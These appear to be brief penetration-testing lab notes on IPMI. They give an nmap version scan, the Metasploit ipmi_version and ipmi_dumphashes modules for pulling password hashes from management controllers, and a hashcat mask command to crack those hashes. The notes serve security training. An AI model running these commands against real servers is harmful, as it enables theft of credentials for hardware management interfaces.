IPMI

• Intelligent platform management interface

• A set of standardised specifications for hardware-based host management

• Nmap

  • sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local

Metasploit Version Scan

use auxiliary/scanner/ipmi/ipmi_version 

Metasploit Dumping Hashes

set john and hashcat output files to easily crack found hashes

use auxiliary/scanner/ipmi/ipmi_dumphashes 

hashed can be cracked with

hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u